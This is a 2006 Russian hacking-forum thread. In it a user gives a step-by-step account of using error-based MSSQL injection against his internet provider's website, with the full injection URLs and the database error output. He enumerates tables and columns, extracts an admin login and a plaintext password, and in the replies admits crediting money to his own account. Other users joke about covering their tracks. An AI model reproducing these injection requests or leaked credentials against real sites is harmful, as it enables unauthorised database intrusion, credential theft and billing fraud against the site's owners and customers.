ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

MSSQL-injection
  #1  
Старый 26.02.2006, 22:13
D1mOn
Постоянный
Регистрация: 02.10.2005
Сообщений: 490
Провел на форуме:
2333839

Репутация: 212
По умолчанию MSSQL-injection

Вступление

Сидел я дома, скучно, решил поискать баги на сайте своего прова. Нашёл несколько бестолковых XSS но для прова довольно глупых, на странице входа в свой счёт в форме ввода пароля срабатывал простейший код алерта:
Код:
<script>alert()<script>
Но XSS меня не интересовали. Моей целью было попасть в админку сайта, где можно было начилсять деньги на инет))
Нашёл MSSQL-Injection, но так как я не особо в этом шарил прочитал статью, спросил на форуме (gadjet'y спасибо). И начал копать...

Реализация MSSQL-инъекции


Для начала мне надо было знать имена таблиц в базе данных, для этого выполним следующий запрос, который возвратит нам имя первой таблицы:
Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
Этот запрос возвратил мне следующее:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'DAYS_SERV_ORD_PAY_BAL' to a column of data type smallint.

/Shared/Functions/F2.asp, line 76
DAYS_SERV_ORD_PAY_BAL - это и есть имя первой таблицы в базе данных.
Далее чтобы узнать имя второй таблицы, выполняем следующий запрос:
Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(''DAYS_SERV_ORD_PAY_BAL'))--
После выполнения этого запроса, скрипт вернул мне следующее
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'X_Count_Of_Jeo_Modems' to a column of data type smallint.

/Shared/Functions/F2.asp, line 76
Где, X_Count_Of_Jeo_Modems - как вы уже догадались, имя второй таблицы.
Чтобы узнать имя третей таблицы выполняем следующий запрос
Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(''DAYS_SERV_ORD_PAY_BAL','X_Count_Of_Jeo_Modems'))--
В общем технология думаю ясна, для тех кто не понял, в скобки через запятую в кавычках нужно добавлять имя таблицы, которое возвращает скрипт.
После того как я узнал имена где т 40 таблиц, и не нашёл нужной мне таблицы, решил попробовать следующий запрос:
Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+LIKE+'%25login%25')--
Этот запрос возвращает нам имя таблицы которая соответствует критерию login:
Запрос вернул мне следующее:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'RAS_Accounts_AutoLogins' to a column of data type smallint.

/Shared/Functions/F2.asp, line 76
Но это было не то что мне нужно, я решил попробовать вместо login подставить admin, и тут мне повезло)
Срипт возвратил мне следующее:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin' to a column of data type smallint.

/Shared/Functions/F2.asp, line 76
Далее мне нужно было узнать имена столбцов в таблице admin, для этого выполняем слудеющий запрос:
Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='admin')--
Вернуло мне:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Login' to a column of data type smallint.

/Shared/Functions/F2.asp, line 76
Чтобы узнать имя следующего столбца выполняем запрос:
Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME='admin'+AND+COLUMN_NAME+NOT+IN+('login'))--
Скрипт вернул мне:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_password' to a column of data type smallint.

/Shared/Functions/F2.asp, line 76
Продолжая мы получим остальные имена столбцов, пока скрипт не вернёт следующую ошибку:
Код:
error '80020009'

Exception occurred.

/Shared/Functions/InterfaceFunctions.asp, line 86
Теперь зная имена столбцов мы можем получить нужные нам данные.
Выполним запрос который вернёт нам логин админа:
Код:
http://sait-prova.ru/?page_id=(SELECT+TOP+1+Login+FROM+admin)--
Скрипт вернул следующее:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'MW-056417' to a column of data type smallint.

/Shared/Functions/F2.asp, line 76
Так логин есть, это - MW-056417
Теперь узнаём пароль, запрос следующий:
Код:
(UNION+SELECT+TOP+1+admin_password+FROM+admin)--
Скрипт возвращает:
Код:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'f1Ab7wxt2' to a column of data type smallint.

/Shared/Functions/F2.asp, line 76
Пароль в бд находился в чистом виде))

Ну вот собственно и всё. Спасибо gadjet'y за помощь.

Последний раз редактировалось D1mOn; 26.02.2006 в 22:16..
 
Ответить с цитированием

  #2  
Старый 26.02.2006, 22:17
tclover
Banned
Регистрация: 13.12.2005
Сообщений: 1,091
Провел на форуме:
9751364

Репутация: 1847


По умолчанию

Денег то на счёт накинул? =)
Молодца! Круть!

Последний раз редактировалось Trampled_clover; 26.02.2006 в 22:21..
 
Ответить с цитированием

  #3  
Старый 26.02.2006, 22:19
D1mOn
Постоянный
Регистрация: 02.10.2005
Сообщений: 490
Провел на форуме:
2333839

Репутация: 212
По умолчанию

есессьно)))
 
Ответить с цитированием

  #4  
Старый 26.02.2006, 22:36
ZaCo
Banned
Регистрация: 20.06.2005
Сообщений: 880
Провел на форуме:
4610226

Репутация: 1332


По умолчанию

дурак ты нечего сказать.. ломать прова самое последнее дело... ты хоть впн юзал?
 
Ответить с цитированием

  #5  
Старый 26.02.2006, 22:42
D1mOn
Постоянный
Регистрация: 02.10.2005
Сообщений: 490
Провел на форуме:
2333839

Репутация: 212
По умолчанию

ZaCo, уж поверь о своей безопасности я позаботился)
 
Ответить с цитированием

  #6  
Старый 27.02.2006, 00:50
ArdeOS
Участник форума
Регистрация: 16.07.2004
Сообщений: 196
Провел на форуме:
2509801

Репутация: 211
По умолчанию

Молодец конечно ... но если тебя на форуме не станет через день другой - то все читавшие эту тему будут знать что могло случится ...
 
Ответить с цитированием

  #7  
Старый 27.02.2006, 08:54
gadjet
Познающий
Регистрация: 17.12.2005
Сообщений: 78
Провел на форуме:
464418

Репутация: 23
По умолчанию

Цитата:
Спасибо gadjet'y за помощь
Пожалуйста, я не жадный. Вот видишь, если разобраться, почитать, то все получится.
Хорошая статья. Тока, если мне не изменяет память, я пробовал запрос WHERE+TABLE_NAME+LIKE+'%25admin%25' )-- , и ничего не вылезло... А может быть и нет, я, честно говоря, уже подзабыл.

P.S
Подкинули бы, что-ли, и к моей репе плюсиков, не зря же я ему помогал.
 
Ответить с цитированием

  #8  
Старый 27.02.2006, 15:33
D1mOn
Постоянный
Регистрация: 02.10.2005
Сообщений: 490
Провел на форуме:
2333839

Репутация: 212
По умолчанию

Цитата:
Подкинули бы, что-ли, и к моей репе плюсиков, не зря же я ему помогал.
это правда)
 
Ответить с цитированием

  #9  
Старый 27.02.2006, 20:59
podkashey
Познавший АНТИЧАТ
Регистрация: 18.06.2005
Сообщений: 1,004
Провел на форуме:
2821162

Репутация: 1320


По умолчанию

На сколько я знаю, последний запрос должен был бы быть селект пассворд вром админ вэа логин = админ_логин. Но все ранво забавно.
P.s. Я бы на всякий случай еще человекам 10 подкинул лавэ, чтобы искать сложнее было.
P.P.S А почему не было юнионов в первых запросах? ))
 
Ответить с цитированием

  #10  
Старый 27.02.2006, 21:00
D1mOn
Постоянный
Регистрация: 02.10.2005
Сообщений: 490
Провел на форуме:
2333839

Репутация: 212
По умолчанию

Деньги я подкинул только себе, и только один раз! больше не буду, и подумываю над тем, чтобы сообщит админам о дыре найденой!
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
PHP Injection :: Возможно все! k00p3r Чужие Статьи 0 13.06.2005 14:10
SQL Injection для чайников, взлом ASP+MSSQL k00p3r Чужие Статьи 0 12.06.2005 12:42



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ